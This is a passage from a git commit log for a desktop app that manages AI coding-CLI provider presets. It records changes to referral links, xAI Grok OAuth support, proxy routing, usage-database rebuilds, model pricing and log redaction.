unchanged, so only the registration/referral link moves to the new
domain and code.
2026-07-21 18:39:39 +08:00
Jason f0b7b81c11 chore(presets): update ZetaAPI referral link to go/u117
Refresh the ZetaAPI invite link from /go/ccs to /go/u117 across all
7 app presets (apiKeyUrl) and the four README locales. The historical
CHANGELOG entry and the api.zetaapi.ai endpoints / bare websiteUrl are
left untouched so the referral code stays out of request URLs.
2026-07-21 18:19:51 +08:00
Jason b660061b8a chore(presets): update APINebula referral link to VjM74M
Refresh the APINebula invite link from /02rw5X to /VjM74M across all
8 app presets (apiKeyUrl) and the four README locales. Bare-domain
websiteUrl and /v1 API endpoints are left untouched so the referral
code never leaks into request URLs.
2026-07-21 18:14:03 +08:00
Jason 200aa14295 style(providers): fix prettier formatting in ProviderForm 2026-07-21 17:20:45 +08:00
Jason 325ba48486 feat(grokbuild): curate standalone provider presets
Grok Build previously reused the whole Codex preset list, leaking
cn_official providers and Codex default models into the Grok CLI form.
Replace the inline filter with a standalone, independently maintained
preset module (no data linkage to codexProviderPresets):

- drop cn_official direct providers and open-source-only hosts
  (SiliconFlow/ModelScope/Novita/Nvidia/AtlasCloud/OpenCode Go) that
  have no Grok models upstream
- keep aggregators and third-party relays with grok-4.5 as the default
  model (x-ai/grok-4.5 for OpenRouter-style namespaced routers)
- move the Grok Official seed entry into the presets module
- add standalone integrity tests; retarget the form's chat-mapping test
  since no openai_chat preset remains in the list
2026-07-21 16:39:34 +08:00
Jason a8daf7daad fix(codex): add missing AiHubMix preset icon
Every other app's AiHubMix preset already sets icon "aihubmix" with
iconColor #006FFB; the Codex entry was the only one missing it.
2026-07-21 16:39:34 +08:00
Jason f733def452 feat(grokbuild): add Grok Official provider with official-state import
Add a "Grok Official" preset and seed (grokbuild-official) whose empty
config represents the official login state: no custom [model.*] tables
are written, so Grok CLI falls back to its built-in xAI OAuth login and
cc-switch never touches those credentials.

Backend:
- Seed entry in OFFICIAL_SEEDS plus ensure_grokbuild_official_provider
  command for on-demand repair (the one-shot master seeding flag is
  already set for existing databases).
- Split validation into syntax-only (empty allowed) for live reads,
  writes and official snapshots, keeping the full custom-model shape
  check for non-official provider writes and imports. Backup/restore
  can now round-trip an official-state live file.
- Manual import (command layer only) recognizes an official-state live
  config and imports it as the official entry set as current, matching
  the Codex official-login import outcome. Startup auto-import keeps
  rejecting official-state live so a deleted official entry is never
  resurrected on launch: startup import only captures real user data
  as "default" and never manufactures official entries.
- Manual import also ensures the official entry before importing
  (claude-desktop precedent) and after a successful custom import, so
  first-time users end up with default + official like other apps.
- Proxy takeover guards skip or reject official-state live configs in
  all three takeover paths, consistent with the official-provider
  takeover ban.

Frontend:
- Grok Official preset entry in the GrokBuild form: official category
  hides connection fields and passes the raw config through untouched.
- Filter managed-OAuth presets out of the GrokBuild preset list; they
  were never wired for this app and produced keyless broken configs.

Tests cover seed presence, official round-trip, ensure-after-deletion,
and the four import scenarios including startup non-resurrection.
2026-07-21 16:39:34 +08:00
Jason a5aa1fd82b fix(providers): surface import errors and refresh list on failed import
Tauri invoke rejects with the backend's serialized error string, not an
Error object, so reading `.message` produced an empty toast for every
failed live-config import. Route the rejection through
extractErrorMessage with a generic i18n fallback.

Also invalidate the providers query on import failure: the import
command can have visible side effects before erroring (e.g. GrokBuild
ensures its official entry prior to a failing import), and the list
must reflect them without a manual refresh.
2026-07-21 16:39:34 +08:00
Jason 6428e993a3 feat(proxy): flag managed-OAuth providers as routing-required
Managed-OAuth providers (github_copilot / codex_oauth / xai_oauth) need
proxy takeover to inject credentials, but the "needs routing" badge and
the switch-time warning only keyed off apiFormat — missing OAuth providers
whose upstream format is native (e.g. the new Codex xAI Grok OAuth preset
on openai_responses).

- Add isOAuthProviderType / OAUTH_PROVIDER_TYPES as the SSOT for OAuth types
- Extract providerNeedsRouting() as the authoritative predicate: managed
  OAuth always needs routing (the backend rejects these accounts' direct
  connection) regardless of apiFormat or Claude Desktop mode
- ProviderCard badges (claude / codex / claude-desktop) and the switch
  warning consume the shared predicate instead of raw apiFormat
- Gate the warning on per-app routing readiness: claude-desktop uses
  isProxyRunning (backend takeover status has no such field), other apps
  use isProxyTakeover — fixes false warnings on Desktop and missing
  warnings when the proxy runs but the app isn't taken over
- Force proxy mode for all managed-OAuth providers in the Claude Desktop
  form (lock the mode toggle), not only xai_oauth
- Add unit tests for providerNeedsRouting, the switch routing gate, and
  Desktop OAuth preset enforcement
- i18n(zh/en/ja/zh-TW): add notifications.proxyReasonManagedOAuth
2026-07-21 16:39:34 +08:00
Jason dbb5bd1537 feat(codex): xAI (Grok) OAuth managed provider with native Responses compat
Add a managed "xAI (Grok) OAuth" Codex provider that routes through the
local proxy to api.x.ai via the shared Grok CLI OAuth identity, plus the
native-Responses compatibility layer that makes Codex 0.142+ traffic work
against xAI's strict upstream serde parser.

Provider:
- codex.rs: recognize the xai_oauth placeholder in extract_auth, hard-pin
  the base URL to api.x.ai and the tool profile to native Responses
- forwarder.rs: treat xAI OAuth auth failures as non-retryable
- presets + ProviderForm/CodexFormFields: managed OAuth preset that hides
  the api key/endpoint fields and derives the provider type across apps

Native Responses compatibility (gated on is_xai_oauth, so no other
provider is affected):
- transform_codex_responses_namespace: flatten Codex's private
  namespace/plugin tool declarations into top-level function tools on the
  request; restore the flat function_call names back to {name, namespace}
  on the response (streaming and non-streaming) so the client matches its
  own namespaced tool registry
- transform_codex_responses_xai_sanitize: strip the OpenAI-backend-private
  fields xAI rejects (external_web_access, prompt_cache_retention,
  safety_identifier, the additional_tools carrier, tool_search, ...) with
  deterministic removals that keep the prompt-cache prefix stable
- wire both into the native passthrough after the request transform;
  response restore runs in a dedicated handler so the generic passthrough
  hot path is untouched

Ports the proven approach of sub2api's Grok Responses gateway. Verified
with a 4-round codex -> xAI OAuth workload: all tasks green, zero upstream
errors.
2026-07-21 16:39:34 +08:00
Jason eff1e0ccfc feat(db): rebuild Codex usage on upgrade and via maintenance action
Schema v16 wipes codex_session detail rows, _codex_session rollups and
Codex rollout cursors inside the migration savepoint (cursor deletion
uses pure shape matching so CODEX_HOME drift cannot orphan cursors);
the next session sync re-imports history from source JSONL under the
corrected importer. Fresh installs traverse the same branch as a no-op.

Add a manual "Rebuild Codex usage" maintenance action (single-flight,
hard-fail backup before reset, unconditional refresh notification even
when reimport is empty or fails after reset) with a destructive confirm
dialog, result toast and four-locale strings. Historical proxy-side
duplicate rows are intentionally left untouched; history whose source
JSONL was already deleted cannot be reconstructed.
2026-07-21 16:39:34 +08:00
Jason eb105eae76 perf(usage): coalesce session-sync notifications and serialize sync execution
Replace per-insert usage notifications with a single notification per
sync pass, guard all sync entry points (startup backfill, 60s loop,
manual sync) behind a process-wide single-flight tokio mutex, and move
blocking file/DB work onto spawn_blocking with MissedTickBehavior::Skip.

Extend SessionSyncResult with deferredFiles/suspectedDuplicates
observability fields (saturating aggregation) and add a test seam that
counts notifications even without an injected AppHandle.
2026-07-21 16:39:34 +08:00
Jason db44484726 feat(codex): add xAI (Grok) native Responses preset
API-key preset pointing at https://api.x.ai/v1 with wire_api =
"responses": xAI serves the Responses API natively, so no route
takeover conversion is needed. Ships a grok-4.5 catalog entry
(500K context, parallel tools, text+image) so the model shows up
under Codex's strict catalog parsing. This is deliberately not a
managed-account preset: providerType stays absent, pinned by a
regression test alongside the Claude-side xAI OAuth presets.
2026-07-21 16:39:34 +08:00
Jason e9317f476e feat(xai): add Grok account management UI with four-locale strings
Add XaiOAuthSection (device-code login, account list, default selection)
backed by the generalized useManagedAuth hook, wire it into the Auth
Center and both Claude provider forms, and expose model fetching for
signed-in accounts.

- Accounts requiring re-auth stay visible in the account selector as
  disabled items with an expired badge instead of silently vanishing.
- Auth status refetches periodically so a revoked refresh token surfaces
  without reloading the panel.
- All strings ship in zh/en/ja/zh-TW; a locale coverage test pins every
  required key in all four locales.
2026-07-21 16:39:34 +08:00
Jason 615c99c62b feat(xai): add Grok OAuth presets for Claude and Claude Desktop
Register the xai_oauth provider type constant and add xAI (Grok) presets
targeting grok-4.5. The Desktop preset routes branded claude-* model IDs
to grok-4.5 upstream so it passes Desktop's third-party model validation.
2026-07-21 16:39:34 +08:00
Jason e356fc6efc fix(openclaw): price preset models at official list prices in $/M
The cost field on OpenClaw preset models is denominated in USD per
million tokens (as the Claude entries already were), but 15 entries
carried $/1K-style decimals or stale values. Reprice everything at the
model's official list price, mirroring the built-in pricing table, so
usage is always valued at standard rates regardless of channel:

- glm-5.1 (Zhipu CN/EN, ModelScope): 1.4/4.4, cache read 0.26
- qwen3.5-plus: 0.26/1.56, cache read 0.052
- kimi-k2.7-code and the kimi-for-coding alias (K2.7 Code per official
  docs): 0.95/4, cache read 0.19
- MiniMax-M2.7 (official + SiliconFlow): 0.3/1.2, cache read 0.06,
  cache write 0.375
- KAT-Coder-Pro: 0.3/1.2, cache read 0.06
- LongCat-2.0: 0.75/2.95, cache read 0.015
- Ling-2.5-1T: 0.56/2.24 (official CNY 4/16 at ~7.14)
- deepseek-v4-pro: 0.435/0.87 (old 1.68/3.36 was CNY 12/24 left
  unconverted), cache read 0.003625
- kimi-k2.5 (Nvidia NIM): 0.6/3, cache read 0.1

Subscription-plan endpoints and free-tier hosts intentionally show
list prices too, so plan users can see the standard value of their
usage.
2026-07-21 16:39:33 +08:00
Jason f20458229d feat(presets): add Kimi K3 to Kimi open-platform presets
Add kimi-k3 (1M context, 131K max output) to the Kimi provider preset
model lists for Codex, Hermes, OpenClaw, and OpenCode, appended after
kimi-k2.7-code so the catalog-first-row default backfill is unchanged.
The Kimi For Coding plan presets keep the kimi-for-coding endpoint
alias and are intentionally untouched.
2026-07-21 16:39:33 +08:00
Jason 6274705848 feat(logging): capture frontend errors to disk with structured redaction
Frontend half of the logging overhaul.

Capture:
- Add a global error boundary plus window error/unhandledrejection
  handlers that persist renderer errors via tauri-plugin-log (new
  @tauri-apps/plugin-log dependency + log:default capability), so a
  white-screen crash leaves a trace.

Redaction (two layers over every logged value):
- Structured serializer: redact by sensitive property name (arrays and
  nested values included) and by opaque value shape.
- Text layer, the universal final pass: redact URL credentials/query,
  auth schemes, known secret shapes, and named-key array/object values.
  The container rule closes prefix+JSON, double-encoded, and POJO-error
  bypasses regardless of which entrypoint the structured data came from.
- Render Errors as redacted message + native stack across V8 and WebKit
  (macOS/Linux) without depending on a single stack format.
- Bound all inputs and drop oversized JSON to keep the UI responsive.

i18n:
- zh / en / ja / zh-TW for the new log settings and error text.
2026-07-21 16:39:33 +08:00
Jason 7f028632b5 feat(presets): restore SudoCode.us to coexist with SudoCode.chat sponsor
The legacy sudocode.us provider was replaced in place by the sudocode.chat
sponsor (618723b4) because the two unrelated companies share the SudoCode
name. Bring the legacy provider back and distinguish the two by their
domain suffix.

- Rename the sponsor preset to "SudoCode.chat" across its six clients;
  partner status, promotion copy (key "sudocode"), and icon unchanged
- Re-add "SudoCode.us" across all seven clients (including the previously
  removed Gemini entry) with its pre-replacement config: gpt-5.5,
  sudocode.us endpoints, sudocode.run fallback candidates
- Mark SudoCode.us as partner (isPartner) without a partnerPromotionKey:
  promo copy is pending, and the promo box only renders when a key exists
- Give the SudoCode.us Hermes entry a distinct slug (sudocode_us) so both
  providers can coexist in the additive ~/.hermes/config.yaml
- Restore the legacy logo from git history as sudocode-us.png and register
  it in the hand-maintained icon index and metadata
2026-07-21 16:39:33 +08:00
Thefool 1c0ee0c58a feat(grokbuild): add first-class Grok Build support (#5453)
* feat(grokbuild): add backend integration

* feat(grokbuild): add provider and management UI

* test(grokbuild): cover configuration and integrations

* fix(grokbuild): address backend review feedback

* fix(grokbuild): complete UI review feedback

* feat(grokbuild): add CLI lifecycle management

* fix(grokbuild): align provider icon fallback

* test(grokbuild): cover provider icon persistence
2026-07-17 15:50:50 +08:00
Jason 7e73a1ffb2 fix(i18n): add missing proxyReasonAnthropicMessages key across locales
The routing-required toast for Anthropic-format Codex providers only had
a Chinese defaultValue in code; non-Chinese locales showed a mixed-language
message. Add the reason string to zh/en/ja/zh-TW following the phrasing of
the sibling proxyReason* keys.
2026-07-14 11:53:39 +08:00
Jason 6eb217b242 revert(proxy): drop the 1-hour cache TTL option and TTL-bucketed write accounting
The forced 1-hour cache_control TTL (schema v14) was a mistake. Injected
breakpoints return to Anthropic's standard 5-minute TTL, caller-owned
markers are preserved verbatim instead of having their TTLs rewritten,
and the 5m/1h cache-write buckets are removed from usage parsing and
pricing (back to the single aggregate cache-creation rate). The cache
TTL selector is removed from the rectifier settings panel along with its
i18n keys in all four locales.

SCHEMA_VERSION returns to 13: the unreleased cache_creation_1h_tokens
column and the v13->v14 migration are removed. The feature never shipped
in a release and the introducing commit was never pushed, so no
databases were stamped v14 outside this machine (local DB verified at
user_version 13).
2026-07-13 17:55:33 +08:00
Jason ac52c851bf fix(codex): infer image capability for generated catalogs and resync takeover live on save
Mapped GPT models were rejected by Codex clients with "model does not
support image inputs". Two root causes:

- Catalog entries for native-Responses/Anthropic providers cloned a
  template whose input_modalities defaulted to ["text"], so every mapped
  model was advertised text-only. model_catalog_json replaces Codex's
  built-in model table wholesale, and both the TUI and the IDE extension
  block images pre-send when the current model is found without "image".
- Editing the current Codex provider during proxy takeover only refreshed
  the DB backup, so removing the mapping left a stale model_catalog_json
  pointer (and its text-only catalog file) active in live config.

Changes:

- New shared model_capabilities module: explicit row declaration first,
  then a confirmed text-only registry (exact tail match only — prefix
  matching removed, variants enumerated so future -vl/-vision models fail
  open), everything else unknown.
- Catalog generation writes input_modalities from that inference for all
  tool profiles: unknown models fail open to ["text","image"]; only
  confirmed text-only models are advertised as ["text"], giving users a
  clear client-side prompt instead of silent image stripping.
- Live catalog reverse-import collapses modalities that match current
  inference, so registry corrections are not frozen into hidden row
  overrides and the rectifier's heuristic opt-out keeps working.
- Saving the current Codex provider while takeover owns live now
  re-projects the live config (mirrors the hot-switch path), so mapping
  edits and removals take effect immediately.
- Media rectifier delegates to the shared module; its preflight toggle is
  documented (4 locales) as proxy-request-only, never affecting catalog
  capability declarations.
2026-07-13 16:48:22 +08:00
Jason 618723b42f feat(presets): promote SudoCode to paid sponsor across six clients
Replace the legacy sudocode.us provider (a name collision) with the new
paid sponsor SudoCode on sudocode.chat, updated in place across six
clients: Claude Code, Codex, Claude Desktop, OpenCode, OpenClaw, Hermes.

- Switch endpoints to api.sudocode.chat, add isPartner +
  partnerPromotionKey, and add four-locale partnerPromotion copy
- Claude Code / Desktop use direct passthrough (no model mapping)
- Codex / OpenCode / OpenClaw / Hermes use gpt-5.6-sol
- Remove the Gemini entry (outside sponsor scope)
- Replace the provider icon with the new brand PNG
2026-07-13 16:48:22 +08:00
Jason 99573d2242 refactor(presets): pin context window values instead of form fields
Drop the Max Context Tokens / Auto Compact Window template inputs from
the Codex and Kimi For Coding presets and hardcode the values in the
preset env (372000 / 262144). The rare user who wants different numbers
can edit them directly in the JSON editor.

Both keys stay on purpose: the compact window resolves as
min(model window, value), so matching the window is behavior-neutral
today, but the explicit env pins compaction locally against
remote-config experiments dialing it down.
2026-07-13 16:48:21 +08:00
Jason 940ddd332b feat(kimi): declare the 256K context window for Kimi For Coding
Claude Code caps unknown model ids at 200K, so the preset's standalone
CLAUDE_CODE_AUTO_COMPACT_WINDOW=262144 was clamped by min(window, value)
and never took effect. Pair it with CLAUDE_CODE_MAX_CONTEXT_TOKENS and
route the endpoint's kimi-for-coding alias on every tier, since both
context envs are ignored for claude-* prefixed model ids.

Saved providers get the same context defaults injected into effective
live settings at switch time, with a mirror-inverse strip on backfill so
injected values never harden into provider config. Explicit user values
always win over the injected defaults.
2026-07-13 16:48:21 +08:00
Jason 5c39dfbfbe feat(codex): declare gpt-5.6 context window for Claude Code takeover
- Update Codex OAuth presets to the gpt-5.6 family (haiku -> gpt-5.6-luna)
  and bump the custom Codex template default model
- Inject CLAUDE_CODE_MAX_CONTEXT_TOKENS / CLAUDE_CODE_AUTO_COMPACT_WINDOW
  (372000, the ChatGPT Codex catalog window with a ~353K effective budget,
  openai/codex#31860) into effective live settings so Claude Code stops
  assuming a 200K window and compacts before the upstream rejects the prompt
- Gate the injected defaults on every configured model being gpt-5.6*:
  gpt-5.5's upstream catalog oscillates between 272K and 372K and must not
  inherit them; explicit user values always win
- Strip the injected values on switch-away backfill (mirror-inverse of the
  injection conditions) so program defaults never harden into per-provider
  explicit values, and keep both keys out of the shared common-config snippet
2026-07-13 16:48:21 +08:00
Jason f15184edb0 feat(codex): expose official routing and restore the built-in provider
Let users switch between the built-in OpenAI provider and third-party Codex providers directly from the provider panel while takeover mode remains active.

Centralize the frontend capability predicate so only the fixed codex-official seed receives native-login routing support, and keep copied UUID-based official entries clearly marked as unsupported.

Add an idempotent backend command that recreates the deleted official seed, wire it into the add-provider flow, refresh localized guidance, and add mutation and provider-action regression coverage.
2026-07-13 16:48:21 +08:00
Jason a078b4b207 feat(proxy): session-based prompt_cache_key routing for Codex Chat bridge
Codex always sends prompt_cache_key in its Responses requests, but the
Responses -> Chat Completions conversion dropped it, breaking session
cache affinity on upstreams that route by key (e.g. Kimi Coding).

- Re-inject prompt_cache_key after conversion in the forwarder: an
  explicit client key wins, otherwise a client-provided session ID;
  generated per-request UUIDs are never sent upstream.
- Provider-aware gating: "auto" enables only known-compatible upstreams
  (api.openai.com, api.kimi.com/coding) because strict gateways reject
  unknown fields with HTTP 400 (e.g. Fireworks); an advanced
  Auto/Enabled/Disabled override is available on the Codex form in all
  four locales.
- Kimi For Coding preset opts in explicitly.
2026-07-13 16:48:21 +08:00